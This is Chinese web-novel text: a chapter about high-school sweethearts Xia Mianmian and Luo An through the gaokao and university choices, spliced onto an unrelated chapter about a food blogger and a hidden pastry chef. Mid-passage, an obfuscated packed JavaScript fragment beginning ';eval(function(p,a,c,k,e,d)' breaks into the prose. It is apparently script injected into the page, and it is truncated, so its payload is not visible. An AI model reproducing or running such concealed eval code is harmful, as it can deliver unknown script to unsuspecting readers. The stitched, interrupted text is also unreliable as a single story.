次数多了,他难免多想,只有握住她的手,把她抱进怀里的时候才觉得真实,哦,原来他们真的在谈恋爱。 天都的发小为此嘲笑了他好久,说原来洛安谈恋爱是这样的,惨兮兮的。 是啊,他也才知道。 “就在那里,”夏棉棉停下来,伸手指指五十米开外的不知道哪家店,“我妈和补习班老师认识,怕他们看到,就这里吧。” 洛安顺着看过去,松开手,捧住她的脸面向自己。夏棉棉被他捏的皱成一团,伸手打他。 “亲一下。”说完洛安弯腰低头,飞快地碰了碰她生气嘟在一起的唇。 夏棉棉还没反应过来,他已经离开了,甚至手还捏了捏她的耳朵。 “总是问我给不给亲,见面了就当没说过这话,夏棉棉,害羞啊?” 他笑着问她,耳朵红了个彻底。 夏棉棉也不知道自己哪里来的底气,居然气势十足地回答他,“就这?洛安,要不是时间不够,夏老师一定好好给你上一课!” 20. 橘子夏天 这句话说完就转身跑了,马尾辫甩的很高。 洛安肯定在笑她不自量力…… 期末考夏棉棉发挥的还可以,不知道是不是补习班有了作用,期末考试名词上升到了年级一百七十。夏妈妈一时间激动,暑假更是除了语文,全科都给她报了补习班,假期和上学差不多。 夏棉棉也懒得抗争,她的抗争一定用也没有。再说,确实是因为补习班的原因,数学课可以本着随便听听,不高兴就去补习班老师的想法,倒是听的比以前进去了。 更何况,夏妈妈好像找到了反驳她的办法。就是不听我的就滚出去,这是我的房子。这话当然是气话,但是听到,夏棉棉总会沉默,然后接受安排。 夏爸爸曾经说过不要再这样说了,但是被反驳这话有错吗。 确实没错。只是有时候想起来,夏棉棉会觉得有点难受。小时候想,她以后一定不要搬出去住,就算是结婚,也要和父母住的近一点。这一年,她想的最多的是,什么时候可以搬出去,到底是她变了还是之前太迟钝。 高三开学早,夏棉棉本来想申请住校,家长不签字也就放弃了。 夏妈妈和她说,“你就是需要人管着,去了学校,老师管不住你的,别以为我不知道。” “可能,我可以自己管自己。” “我不相信你。” 高二的暑假,她几乎没和洛安见到。洛安祖父祖母想他,他几乎回天都住了两个月。 开学,也是正是迈入高三,高考近在咫尺。 大屏幕摆着一张图——开学了!班长和各科课代表在组织着交作业。 高三在一中是独立的,高一高二年级组,高三年级组,到了高三,基本老师就要换个大半。 王雯交完作业和她说,数学老师也换成了专门教高三的老师。 夏棉棉数着,“那就是说,除了老班,都换了。” “本来老班好像也要换的,”王雯小声说,“但是他自己申请继续教,而且他以前也带过毕业班,学校也就同意了。而且原先是说让他回去带高一班的。” “高一班不是大多都给年轻老师带吗?”说起这个夏棉棉还有印象,“当时好像除了我们班,都是在一中呆了一两年的老师带的。” “对,反正当班主任就是好评什么称号?我不太清楚,总之就是有什么必须先带班才能评。” 突然一个洪亮的声音在背后响起,“王雯同学说的对!你们是我带的最后一个班了,哎老了,当班主任还是太累了……” 两个人迅速坐好,等老班走回讲台,王雯咬牙切齿,“我感觉他针对我们,绝对!” “……我要说我习惯了,并且刚刚就在想是不是少了点什么,你信吗?而且我们刚刚聊的也不是他不带班了。” 夏棉棉一脸看破红尘,突然想到什么,“对了,今年应该要换位置了。” 高一的时候基本是两个月换一次,后来越来越久,最后就期末想起来换了一次。这次换的位置夏棉棉极其喜欢,多次祈祷老班把换座位这件事忘得久一点。没想到居然一整年没换。 王雯点头,“也就我们班这么奇葩,希望不要给我搞到张远港边上,他真的有点……你吃瓜没?” “什么瓜?” 夏棉棉基本碰手机就是和洛安聊几句,这假期跟断网了一样。 “就暑假刚开始的时候,”王雯一脸嫌弃,突然想到了前提,问她,“他和他女朋友分手这事你知道吧?” “知道,他上学期搞得全班都知道了。” “也是,”那时候张远港把全班都哭懵了,“然后我以为他还是什么为情所伤的小可怜呢,暑假里居然在班群里讨论去上海玩,重点是,他一个和两个外班的女生去,住一个民宿。” 夏棉棉,“哇~勇啊~” 王雯没气好气的地说,“其实这也就别人觉得不太好,但是好像他回来之后和人上床了,还不是那俩个之一,也不是前女友。” “有点不可貌相,可信度高吗?”夏棉棉真有点开拓眼界,确实是听说过某某职高的很多都上过床了,甚至他们年级里也有人也……但这是第一次是她认识的人。 “挺高的,小群里那群男的说的,一直说牛啊什么的。”王雯叹气,“我还曾经说过他留长点头发挺好看的呢,哎,男人——” 小群里多数时候相当于男生聊天群,那百分之九十是真的了。 夏棉棉赞同,“我还没退网的时候就看到好多脑瘫言论了,真的不堪入目,希望帅哥都三观正一点呜呜呜。” “三观吧还是跟家庭教育有关,还有什么学校教育,跟长得帅不帅还真不搭嘎,但是希望帅哥三观正真的是人生祈愿。如果我看的帅哥多了,或者不看脸了,我可能会说,三观比脸重要多了,但是我还没和帅哥谈恋爱,我真说不出这话。” 夏棉棉抓住她的手,频频点头,“有理有理,我也说不出这话!” “你们说什么呢,”钱瑶打断她们,“老班叫排队了,说是去操场开开学典礼,哎今天怎么就不下雨呢?” 开学典礼包括周一集会,已经记不清多少次站在操场这不耐烦地听讲话了。 八月底的太阳照在身上,整个操场就高三年级的。 队伍是按身高排的,夏棉棉后边是文艺委员段南枝,她们俩关系还不错。 段南枝小声和她讲话,“高一高二可真好,还在放暑假呢。” 夏棉棉有些好笑,“上届学长学姐可能也是这么想的。” 低着头发了会呆,听见主持人的声音,“下面有请六班的洛安作为学生代表发言。” 洛安?夏棉棉前一秒还在想二班这个主持人是不是快主持两年了,下一秒就在想,洛安要发言,她都不知道。 段南枝抓住她的衣摆,往前走了一小步,“居然真的是洛安,本来以为选的是七班那个。” “为什么不是林清繁,去年好像也是他讲的。” “你也说去年是他,这东西吧肯定是秉着给大家机会。”段南枝的声音很近,“本来说是七班周放和他中间选的,后来七班班主任好像帮周放争取了,我还以为洛安没机会了。哇,你看的清吗,他好像更帅了。” 更帅了?夏棉棉如果知道他要上台,一定把眼镜戴上,现在只能看到一个模糊的人影。开学前他们其实见过一面。 算是偷偷跑出来的,她翘了最后一节英语补习班。洛安在还是在老地方等她,夏棉棉是趁下课狂奔出来的,跑到连话也说不出来,一个劲地喘气。 洛安就接过她的帆布袋,揽着她,摸摸她的头。 夏棉棉问他什么时候回来的,他说昨天,然后拉着她去看电影。 “看什么片啊?” 洛安看起来很高兴,一手帆布袋一手抓着夏棉棉,听到这话,眼睛里满是笑意。 “什么片啊,你想看什么片啊,棉棉。” 夏棉棉感觉他说的不是电影,气鼓鼓地不理他。 暑假上了什么电影,她一部也不知道。洛安带她检票直接进场了,也就路过看到几个巨大的海报。 “是李有喆的电影吗,橘子夏天?” 洛安把爆米花奶茶递给她,点点头,“好像是校园的,听名字很喜欢。” “哦~难道不知道因为女主是杨繁星?国民初恋,哇……” 洛安惩罚性地咬住她的耳垂,听到抽气声才松开牙齿添了添。 “棉棉,想你了,”他又叹气,热气散在她的耳畔,“怎么还不毕业……” 是啊怎么还不毕业。 夏棉棉把爆米花和奶茶搁在地上,张望了下后排,没有人,甚至整个影厅都没几个人。 “洛安。” 洛安刚点开手机,“怎么了?” 夏棉棉凑近去吻他,黑暗中判断错误,亲到了下巴,小姑娘还有脾气了,双手捧住他的脸,这一次准确地亲到了。轻碰了几下又觉得没劲,伸出舌头去添,顺着唇缝,一点一点的,像小猫一样。 洛安手机已经自动息屏了,被他用力攥在手里,另一只手强硬又温柔地抚在她的脖颈,把她往自己这里压,缓慢地和她亲吻。 偶尔因为生疏磕碰在一起,洛安就安抚性地捏捏她的后颈,然后继续和她接吻。 橘子夏天好不好看不知道,但是感觉很好,温柔地像爱情。 接吻 段南枝说,“看清了吗?是不是很帅?” “……是。” “之前吧好像还挺多女生想和他表白的,孟轻容来那趟吧,搞得大家都不敢了。”段南枝遗憾地说,“还没早恋就要毕业了。” 夏棉棉被太阳照得出了些虚汗,头晕晕的,洛安在台上讲些什么,其实她没听到多少。 “不是还有一年吗?” “谁敢在高三谈恋爱,又不是疯了。”段南枝说,“张远港你听说了吗?居然这么敢,不过他好像成年了……你别和别人说,暑假里他还约我去看橘子夏天,本来我男神的电影我是想去的,但他说就约了我一个人,我觉得奇怪就没去……你看橘子汽水了吗?” 她这话信息量还挺大的,夏棉棉说,“看了,不过忘记讲的什么了。” “好吧。”段南枝本来还想为自家哥哥辩解两句电影票房还不错之类的,夏棉棉身形晃了晃,“没事吧?” 老班走过来,严厉地说,“你们怎么一直在说话……” 他们说什么夏棉棉也不知道,她还是没撑住倒了下去,好像被段南枝扶住了。 她一直有点低血糖,体质虚,没睡好再被太阳一照,脸色苍白。 被扶去医务室的路上夏棉棉就醒了,没想到看到了洛安。 洛安神色紧张地看着她,边上还有段南枝,也不方便说些什么,看见她醒了赶忙问,“哪里还难受,马上到医务室了。” 夏棉棉摆摆手,指指边上的树荫,“我坐下就好了,应该是低血糖。” 段南枝和洛安就扶她过去。 等人坐下,段南枝才松了口气,“你刚吓死我了,老班连骂也顾不上了,直接让我们带你去医务室,幸好没事。” “就是昨天没睡好。”夏棉棉虚弱地喘气,站着的时候一直在出冷汗,眼前一阵发黑,现在坐下终于好受了点。 洛安说帮她去拿水杯,先走了。 她俯身把额头磕在膝盖上,过了会抬头问段南枝,“洛安怎么会一起来?” “哦,他讲完回队伍的时候看到你晕倒了,老班也怕我一个人不行就让他一起来。这真是看不起我!” 段南枝满脸不服气,夏棉棉弯弯眼,“怎么样,近距离看他觉得他帅了吗?” 段南枝瞪大眼睛,像是发现了新大陆一样看她,“都什么时候了还看帅哥啊!夏棉棉原来是我小看了你!” “就是低血糖,哎呀忘记让洛安把我的糖拿过来了。” “那怎么办?” “没事,等下回去吃也一样,刚刚是站太久了。所以帅不帅?” 她一脸揶揄,段南枝笑着去捏她脸,“帅,服了你了!” 洛安打了热水,居然还摸出几颗糖给她,撕开糖纸递到她嘴边。夏棉棉无语地瞪他一眼,趁段南枝没注意咬住糖果。 然后慢慢喝了几口热水。休息了会夏棉棉半点不舒服都没了,就是刚出冷汗,身上有点粘。 开学典礼也结束了,三个人就往班里走,段南枝挽着夏棉棉的手说话,洛安时不时看她们一眼。 换座位是老班和班长安排的,座位表投到了大屏幕上,夏棉棉戴着眼镜找到自己名字之后,再找洛安,离得更远了,她周围一圈也被换了。 高三好像和高二也没什么不一样的。夏棉棉放学就被接去补习班,然后十点多回家,第二天六点起,六点四十到班级。每天都一样。 都一样没有洛安。 洛安坐在她之前的位置,她被换到了前门边。天气越来越冷,她就和边上几个成为了“门卫”。这个学期,她的成绩稳定在一百名。 今年寒假夏棉棉果然没回老家过年,她一个人留在满城复习。冰箱里塞得很满,父母初二就会回来,她也不喜欢过年,还挺满意这个安排的。 只是洛安要回天都。 父母上班的时候,高三差不多也开学了,洛安也是这几天才回来。他的假期,总是在天都度过的。 “以前在天都上学,那暑假什么的想来这里就来了,转学来之后呢,我奶奶就一直催我回去看她,就一有假期就被扔回去了,因为我奶奶都是催我妈,她都快得电话ptsd了。” 洛安头搁在她的肩膀上,“住的也近,上学也在一个班,为什么我总感觉我们在异地恋啊棉棉。” 夏棉棉打着出去扔垃圾顺便透气的理由出来的,和洛安这一面只见了短短五分钟。 “我们考一个大学,或是一座城市的同个区,再远我受不了。” 夏棉棉只能说,“我努力。” 我努力和年级前三考一个学校。 不用想也知道,洛安会去天都,一来他父母工作结束已经是为了他才多留几个月的,二来,top2的a大、b大两所大学都在天都。 天都一条街都是好大学,离a大也近,其中e大和d大以夏棉棉现在的成绩是可以考上的。洛安没有想给她压力,只是在她力所能及的范围里让她选。 考完最后一门英语,夏棉棉走出考场,人潮人海的,她走了好久才绕出来。打开手机,看到好几个未接电话。 都是她妈的,大概是怕她直接走了,又一个电话打了过来。 “棉棉你出来了吧?” 两边都是人声,还有记者抓着考生在采访,“出来了。” “考的怎么样啊,欸等下见到再说,妈妈的车在九中右边,你右边走走就看到了。” “好。” 夏棉棉挂了电话,刚抬头就看到采访的记者举着话筒,兴高采烈地走了过来,满脸写着逮到你了吧。 “同学你好,我们是满洲快报的,可以采访下你吗?” 这位叔叔笑得实在是,难以拒绝。 夏棉棉勉强地点点头。 大概关于试卷题目的问题都问的差不多了,她出来的挺晚的,记者问的都是些娱乐性质的。 “高考结束了之后想要做什么?” “填志愿吧。” “没有什么想要做以前没做的吗,比如说旅游啊玩游戏啊烧试卷啊!” 夏棉棉扭头看他确认真实性,“其他倒还好,之后也有试卷,然后卷子,我们学校是同意给阿姨带走了,不让仍也不让烧。” “这样啊,也是为了环保。那同学长得这么好看,有没有想说高考结束之后谈场轰轰烈烈的恋爱?” 夏棉棉一脸你认真的吗,她刚刚隐约听到点,问的不都是假期娱乐、然后家长怎么想吗?这么还能问这个的? “你们这个能剪吗?恋爱?”她怀疑地问。 “这位同学一看就是高中努力学习,不闻窗外事的,听见谈恋爱还晕乎呢。”记者笑着说,他显然理解错了,“刚刚有几个男孩还托我问问你单不单身呢,哈哈,看来大家都有机会啊,要用真心换真心!谢谢这位同学啊,那我们去找其他同学了。” “等……” 记者摆摆手走了。 夏棉棉:…… ?? 我有男朋友啊! 就是快两月没说话了而已啊! 她有点无语,往右边去找她妈。她爸今天要出庭,没办法来,等晚上一起出去吃大餐。 估分之后填志愿,洛安旁敲侧击地问她能不能报天都的,夏棉棉含糊了过去。但是挂电话的时候,可能是哪一句话暗示了,洛安显得很高兴。 夏棉棉想,大概是,我们会在一起的别担心。 误会就误会吧。 暑假开始,家里人都管不住她了,也有意给她放肆一个假期。 夏棉棉每天都出门和洛安见面,在各个地方拥抱接吻,图书馆没人的书架后,夜晚公交车的最后一排,午间的街道转角…… 洛安最喜欢的,就是在接吻后,慢慢地吻她白皙的脖颈,一点一点,让呼吸交错混淆彼此。 这样过了大半个月,洛安带她回家。洛安的父母在一周前就回了天都,他留了下来。 他们两个没一起过过一个生日。夏棉棉的生日在正月初一,她过农历。洛安生日是公历七月十号,每年这时候他都在天都。 夏棉棉觉得还挺有趣的,但因为凑不上日子,生日礼物有时候就会忘,送的时候能隔大半年。 这次她和洛安一起去选了蛋糕的模样,然后去商场买情侣装。 “其实我觉得我直接送你也挺好的,”夏棉棉看着他选,“逛街买衣服什么的,我都好久没干过了,和钱瑶她们出来不是火锅就是烤肉,不是寿司韩料就是KTV。” “我刚刚看到楼下有大头贴拍照,”洛安把衣服递给她,“合适的话直接穿了下去,不用逛街...我们都没一起拍过照片。” 语气可怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你生日啊,”夏棉棉不再遮他的眼睛,弯下腰头轻轻搁在他肩膀上,“我才不给你参考意见呢!” 蛋糕上的q版小人嘟着嘴在飞吻,当时夏棉棉躲着他和老板商量,没想到做出来还挺可爱的。 “这是我还是你?” “你傻啊,短头发的当然是你!”夏棉棉佯装生气,“还想我对你飞吻啊,哥哥想的也太美了吧!” 她这一声哥哥把洛安叫的一顿,他偏头亲亲她的脸颊。 “飞吻也不用,我还是喜欢实际的。” 没等夏棉棉咬他,洛安又正色道,“那我就许愿夏棉棉同学更加喜欢我。” “啊?”夏棉棉歪头,洛安在看她,眼里似乎有她的倒影,温柔得不像话。 “…愿望怎么能说出来,万一实现不了。” 洛安把她扯进自己怀里,让她坐到自己身上,认真地说,“实不实现还是不是看棉棉,不说出来她怎么知道?” 七月底,洛安回了天都。他没有问夏棉棉报的学校。 所有的事情都有迹可循,以前他不懂夏棉棉。小姑娘年轻,总觉得的初恋不会一直在一起,觉得只谈一次恋爱会不会亏,不喜欢北方的天都。含含糊糊的说词,对他的喜欢太淡,三分钟热度。 偶尔会在微信联系,夏棉棉和他说好可惜,毕业的聚餐你都没有来,老班还念叨你呢。洛安回,是啊好可惜。 夏棉棉说,满城今年的夏天格外地热,和高一的暑假不一样。洛安说,天都也热。 临近开学,本就不熟络的联系,彻底断了。 钱瑶成绩还可以,第一志愿就是满城大学,超常发挥进入法学院。 夏棉棉没想到她会学法,惊奇之余,约她出来吃火锅。 钱瑶走出地铁就看到了她,倚靠在kfc甜品站,一手捏着一只甜筒。白色涂鸦的短款短袖,柠檬黄的百褶裙下是白皙笔直的长腿。看见她出来,还抬手和她打招呼,露出一截细腰。 老妈妈操心的心态,钱瑶第一次懂。她加快步伐走过去。 夏棉棉嬉笑着递给她一只甜筒,“慢死了钱瑶!” “都没化呢。”钱瑶咬了口冰淇淋,被冰凉的甜腻满足了,“走吧,先逛逛。” 说是逛街,倒更像是聊天,每家店铺随便走走,嘴一下没停。 夏棉棉说,“我真没想到你会去学法律,以后要叫钱律师?啧啧。” “学法律也不一定就可以当律师吧,我也不知道,主要之前看电视剧还挺有兴趣,我妈就一直说当律师有面子什么的……你怎么不学法,你爸不大律吗,没点言传身教?”钱瑶其实觉得学什么都可以,“d大e大的王牌专业好像是计算机和金融,你好像都不喜欢。” “是不喜欢……”夏棉棉随手抓了顶帽子试,对着镜子左看右看居然还不错,“这个好看吗?” “绿色寓意不好,粉色试试?” “就买这个!”夏棉棉当即拍板,“c大的法语其实我还挺喜欢的。” “c大?”钱瑶惊觉自己还不知道她报了什么大学,只是觉得她一定会去天都。 “对啊,而且海市还一线大都市呢,离满城也近,到时候我还能聚聚……” “那洛安……”钱瑶迟疑,“你们……” “哎呀……” 夏棉棉铺好床,把带来的满城特色送给其他室友,就是因为是四人寝,这所大学才在她的名单里胜出。 隔壁大学也是今天开学,出入比平常宽松了不少。 金融专业的位置她早早做好了攻略,连报道地点都知道。 可是她蹲了几个小时都一无所获。 充满学霸光环的学长走过来,笑得很温和,瞬间让夏棉棉破防。 “学妹找人吗?” “啊对,学长你们报道不是下午一点开始的吗?” “是昨天和今天,本市学生……” — “洛安——你怎么是昨天报道的,我等了你好久……” 这声音太委屈了,甚至带了哭腔。 洛安呼吸一窒,“你在哪?” “我在,我在金融系的报道的地方……洛安,洛安……” “我现在就过来,你……” “我饿了洛安……”夏棉棉抽泣道,“我报了e大的金融,我没有去,没有去c大,虽然喜欢那里,但是更喜欢你……洛安,我真的好讨厌天都啊,这里好大啊,我从学校走到这里都要二十分钟……” “以后我去找你,不远的,我很快就到了。” 路上有点堵车,洛安把车停在路边,快步朝学院跑去,闷热的风像一张网,不停的框住他,以炎热为丝。 已经尽量到的快了,洛安跑到的时候报道处机会没人了。夏棉棉坐在地上,缩成很小的一团,低着头,好像在发呆。 他加速向她跑去。 早知道就说了,c大也没事,也可以坐高铁去见她的。都没关系。忽远忽近,三分热度,都没关系。 不懂得珍惜的女孩总会被教育,世界从不是以个人为中心,更不会处处如愿。 但在洛安这里,他的女孩永远都可以任性随心。 - “你和洛安,你们……” “哎呀,当然是骗你的,我争取了爸妈的同意,e大金融。” _ 初二的暑假,洛安很不满母亲的安排,补习班直接拍板数学,希望能表达自己的不满,结果被打包送往了满城,被要求上整整两个月的数学补习班。 第一节课就迟到了,十几个人的小班,加上老师一起,等了他十分钟。打开门,坐在门边的姑娘抬头,正好和他对视上,她看起来很困,对他也没有什么情绪,很快再次低头缩成一团。 两个月的课,他只上了一个月,就被气急败坏的母亲接回去了。这一个月,他只记得授课老师画圆很扁,前面女孩子的后脑勺很圆。她叫夏棉棉。 - 高一暑假,洛安直接跑到了舅舅家,终于逃开了家里一群长辈。 小区的篮球场很老了,他把球抛给朋友,满头大汗,坐在残破的木椅上喘息。看到穿着碎花长裙女孩在场外,他心不在焉地接过不知道谁递来的水,小心翼翼地窥视,女生低着头,手中还留着冰棍的“遗骸”。 朋友走过来,故意作势要出去帮他要联系方式,他妹妹狠狠瞪他一眼,于是自讨没趣地摸摸脖子,坐到他身边。 他微微后倾,用朋友遮挡住自己,心里冒着泡,水蜜桃味的汽水还是葡萄味的汽水呢。 — 冰淇淋会化夏天会过去,洛安希望,自己棉花糖模样的雪糕不止存在于夏天。 21. 第 25 章 五月的阳光像融化的太妃糖,黏稠而甜蜜地涂抹在"Lumière"甜品店的落地窗上。温晚推开玻璃门时,风铃清脆的声响与甜香气息一同扑面而来。她深吸一口气,香草、黄油和焦糖的芬芳在鼻腔里交织成一首味觉交响曲。 "欢迎光临Lumière。"穿着米色围裙的服务生微笑着迎上来,"一位吗?" 温晚点头,目光扫过店内简约而精致的装潢——灰白色调的墙壁,原木色桌椅,每张桌上都摆着一支新鲜的白色郁金香。她的视线最终落在展示柜里那些艺术品般的甜点上。 "请给我一个靠窗的位置。"她轻声说,手指无意识地摩挲着挂在脖子上的相机。 这是她本周探访的第七家甜品店,也是她"城市隐秘甜点"专题的最后一站。据说这家开业仅半年的小店拥有一位从不露面的神秘主厨,他的作品在美食圈内备受推崇,却极少接受采访。 温晚选好角度,拍了几张店内环境的照片。她的美食博客"味觉漫步"拥有两百多万粉丝,每篇测评都以专业、客观著称。三年来,她建立起一套严苛的评分体系,从不因店铺名气而手下留情。 "这是我们的菜单。"服务生递来一份手写牛皮纸菜单,"今天主厨特别推荐''雪夜星辰''。" 温晚挑眉:"听起来很特别,就这个吧。" 等待甜点上桌的间隙,她整理着设备。相机、录音笔、笔记本——她的测评三件套。窗外行人匆匆,阳光在她的亚麻色长发上跳跃,衬得她侧脸的线条格外柔和。 "您的''雪夜星辰'',请慢用。" 温晚抬头,眼前的甜品让她呼吸一滞。一个完美的白巧克力球静静躺在黑色石板上,旁边配着一小杯深紫色的蓝莓酱。巧克力球表面光滑如镜,倒映出她微微睁大的眼睛。 她立刻拿起相机,调整焦距。快门声轻响,捕捉着这个艺术品般的甜点。从各个角度拍完后,她小心地将温热的蓝莓酱淋在巧克力球上。 奇迹发生了。 蓝莓酱如融化的紫水晶般流淌,白巧克力球渐渐软化,裂开一道细缝,然后像初雪遇到阳光一样,优雅地坍塌。里面露出星空般的景象——深蓝色的蓝莓酱如同夜空,香草慕斯点缀其中如繁星,还有细小的银色糖粒闪烁着微光。 "天啊..."温晚不自觉地轻呼出声。她挖了一勺送入口中,白巧克力的甜腻被蓝莓的酸爽完美中和,香草慕斯的绵密中藏着跳跳糖的惊喜,在舌尖轻轻炸开。她闭上眼睛,感受着味蕾上的烟花表演。 后厨的监控屏幕前,周予白摘下厨师帽,修长的手指无意识地摩挲着围裙边缘。他紧盯着屏幕上温晚的表情变化,看到她闭上眼睛的瞬间,喉结不自觉地滚动了一下。 "看来你的''秘密武器''奏效了。"合伙人徐睿靠在门框上,手里晃着一杯咖啡,"这位''味觉漫步''的温小姐可是出了名的严格,上次把''甜心坊''的主厨批评得差点改行。" 周予白没有回应,只是将厨师帽重新戴好,转身走向工作台。他的手指修长有力,正灵巧地捏着一块巧克力造型。 "她不一样。"良久,周予白才低声说道,声音轻得几乎听不见,"她吃得出厨师想表达什么。" 前厅里,温晚放下勺子,罕见地迟疑了。她的评分系统一向严苛,从不在首访时给出满分。但这款甜点,从创意到口感都无可挑剔。 她打开手机备忘录,指尖在屏幕上停顿了几秒,最终在"创意"一项勾选了五星,并在备注中写道: "''雪夜星辰''——打破常规的味觉体验,主厨对食材的理解令人惊叹。白巧克力与蓝莓的碰撞如同冬夜与星空的对话,跳跳糖的加入是天才的一笔。" 发送前,她鬼使神差地加了一句:"期待见到这位甜品诗人。" "请问..."温晚招手叫来服务生,"能告诉我主厨创作这款甜点的灵感吗?" 服务生露出歉意的微笑:"抱歉,周师傅很少解释他的创作过程。" 温晚点点头,并不意外。真正顶尖的厨师往往如此——他们用作品说话。她最后拍了几张照片,收拾设备准备离开。 经过收银台时,她注意到墙上挂着一幅小小的黑白照片——一群厨师站在领奖台上,其中一个人的脸被刻意模糊处理了。 "那是三年前的亚洲甜点大师赛,"收银员注意到她的目光,"我们主厨获得了创意奖。" 温晚凑近照片,试图辨认那个被模糊的面孔,却只看到一双修长的手,捧着一个造型精巧的奖杯。 "他从不露面吗?"温晚忍不住问道。 "周师傅说,甜点才是主角。"收银员笑着递给她小票,"希望您下次再来。" 走出店门,温晚回头望了一眼"Lumière"的招牌。法语中,这个词意为"光"。她想起那个在口中绽放的"雪夜星辰",确实像一束光照亮了味蕾的夜空。 她不知道的是,后厨里,周予白正将她用过的餐具单独收好。他拿起她留下的勺子,犹豫片刻,轻轻碰了碰自己的嘴唇。 "她加了''期待见面''。"徐睿晃着手机,上面显示着温晚刚发布的测评,"这可不像她的风格。" 周予白的耳尖微微泛红,他转身打开冰箱,取出一块早已准备好的面团。 "明天开始,"他说,声音里藏着一丝难以察觉的期待,"每周三推出新品。" 徐睿挑眉:"我记得你说过周三不营业?" "现在改了。"周予白低头揉面,额前垂下一缕黑发,遮住了他微微上扬的嘴角。 周三下午三点十五分,温晚站在"Lumière"紧闭的店门前,手指悬在空中,距离玻璃门还有一厘米时停住了。门上挂着"休息中"的木牌,在微风中轻轻晃动。 "怎么会..."她低头核对手机备忘录,确认自己没记错时间。上周那款"雪夜星辰"给她的震撼太大,她决定做一次深度回访,专门挑了工作日的下午,避开周末的人流。 温晚叹了口气,额头抵在冰凉的玻璃上向里张望。店内一片昏暗,只有展示柜的灯光还亮着,里面空空如也。她今天特意提前结束了其他拍摄,连午饭都没来得及吃。 "需要帮忙吗?" 一个低沉的男声从身后传来,温晚猛地转身,后脑勺不小心撞在玻璃上,发出一声闷响。 "嘶——"她捂住脑袋,眼前一阵发黑。 "小心。" 一只手虚扶在她肩膀后方,没有真正碰到她,却形成了一个保护性的姿态。温晚抬头,对上一双琥珀色的眼睛。男人比她高出大半个头,穿着简单的白T恤和黑色休闲裤,手里拎着一个环保袋,里面装着几盒食材。 "店...店休吗?"温晚下意识后退半步,后背贴上了玻璃门。阳光从男人身后照过来,给他轮廓分明的侧脸镀上一层金边。 男人——周予白——微微睁大了眼睛。他认出了她,当然认出了她。过去两年里,他看过她所有的视频,读过她每一篇博客。上周她来店里时,他在监控前站了整整四十分钟,只为了观察她品尝"雪夜星辰"时的每一个细微表情。 "今天...本来是店休。"周予白听见自己说,声音比平时高了八度。他清了清嗓子,"但我需要取些材料。" 温晚的眼睛亮了起来:"你是店里的员工?" 周予白犹豫了一秒,点了点头。他掏出钥匙,避开她的目光打开了门锁。"要进来坐坐吗?我可以...给你做点什么。" 温晚眨了眨眼,不确定自己是否听错了。她指了指"休息中"的牌子:"这样不会打扰你吗?" "不会。"周予白推开门,示意她先进去。当温晚从他身边经过时,一阵淡淡的茉莉花香飘进他的鼻腔,他的手指无意识地收紧了钥匙。 店内很安静,只有制冰机运作的轻微嗡鸣。温晚选了靠窗的座位,放下她的相机包。周予白站在吧台后,从环保袋里取出食材。 "有什么忌口或偏好吗?"他问,声音已经恢复了平常的沉稳。 温晚摇头:"没有,不过..."她犹豫了一下,"我喜欢有故事感的甜点。" 周予白的手停顿了一瞬,抬头看了她一眼,又迅速低下头去。他没想到她会用这个词——"故事感"。这正是他所有创作的核心理念。 "稍等。"他说,转身进了后厨。 温晚拿出手机,给助理林妙发了条消息:「意外碰到店员,可能要尝到独家甜品了!」 林妙秒回:「拍照!录像!别光顾着吃!那个主厨在吗???」 温晚正要回复,周予白已经端着一个托盘走了出来。托盘上放着一杯柠檬水和一款她从未见过的甜点——外形像是一本打开的书,书页部分用白巧克力制成,中间夹着淡紫色的奶油和新鲜莓果。 "这是..."温晚拿起手机准备拍照。 "''阅读时光''。"周予白轻声说,"今天...刚构思的。" 这其实是他在两年前就设计好的甜点,灵感来自温晚的一篇博文,她在文中形容品尝美食如同"阅读厨师的内心独白"。 温晚拍完照片,小心地切下一小块送入口中。味道层次丰富——白巧克力的甜,莓果的酸,还有一丝若有若无的...她皱起眉头,又尝了一口。 "你没放糖?"她惊讶地问。 周予白的耳朵瞬间变红。他确实忘了放糖——因为站在她面前时,他的大脑就像被清空了的搅拌碗一样空白。 "抱歉,我重新做一份。"他伸手要去拿盘子。 "不!"温晚按住他的手腕,"这样正好。"她最近牙疼得厉害,医生建议她少吃甜食,"我很喜欢这种自然的酸甜平衡。" 周予白愣住了,她的手指贴在他的皮肤上,温度像融化的巧克力一样蔓延开来。温晚似乎也意识到了什么,迅速收回手,低头又吃了一口甜点掩饰尴尬。 "真的很好吃,"她真诚地说,"能感觉到食材本身的味道。" 周予白慢慢收回手,指尖无意识地摩挲着她刚才触碰过的地方。"你...懂甜点?" "只是爱吃而已。"温晚笑了,"其实我是个美食博主。" "我知道。"话一出口,周予白就后悔了。 温晚挑眉:"你认识我?" "看过你的...专栏。"周予白转身假装整理餐具,"''味觉漫步'',很专业。" 温晚的眼睛亮了起来:"你才是专业人士。这款甜点..."她指了指"阅读时光","构思太巧妙了。吃起来真的像在阅读——前调是期待,中调是惊喜,尾调是...怀念?" 周予白的心脏漏跳了一拍。她吃出来了,真的吃出来了。他花了三个月调整这款甜品的层次,就是为了准确传达这种情感变化。 "你..."他刚要开口,店门被猛地推开,一个扎着马尾辫的年轻女孩风风火火地闯了进来。 "温晚!我就知道你在这儿!"林妙举着手机,"快看,''味觉前沿''刚发了一篇酸溜溜的文章,暗指我们收钱给好评!" 温晚皱眉接过手机,周予白则悄悄退后了两步,给她们留出空间。 "这太过分了。"温晚快速浏览着文章,"他们甚至没尝过''雪夜星辰'',就敢说我的评价不客观?" 林妙凑过来压低声音:"我们需要更多证据证明这家店值得高分。这位是..."她看向站在一旁的周予白。 "哦,这位是..."温晚突然意识到自己还不知道对方的名字。 "周予白。"他轻声说,犹豫了一下又补充道,"甜点师。" 林妙的眼睛瞪得溜圆:"周予白?那个周予白?"她迅速掏出手机搜索着什么,然后激动地捅了捅温晚,"他就是三年前亚洲甜点大师赛的黑马冠军!决赛后神秘消失的那个!" 温晚惊讶地看向周予白,后者已经退到了吧台后面,表情像是被当众抓住偷吃糖的小孩。 "你...是''Lumière''的主厨?"温晚恍然大悟。 周予白点了点头,手指不安地敲打着大理石台面。他没想到会被认出来,更没想到是在这种情况下。 "天哪!"温晚站起身,"我上周那篇测评...你一定看到了。" 周予白又点了点头,耳尖红得像是覆盆子酱。 "我应该重新做一份带糖的。"他突然说,转身就要回后厨。 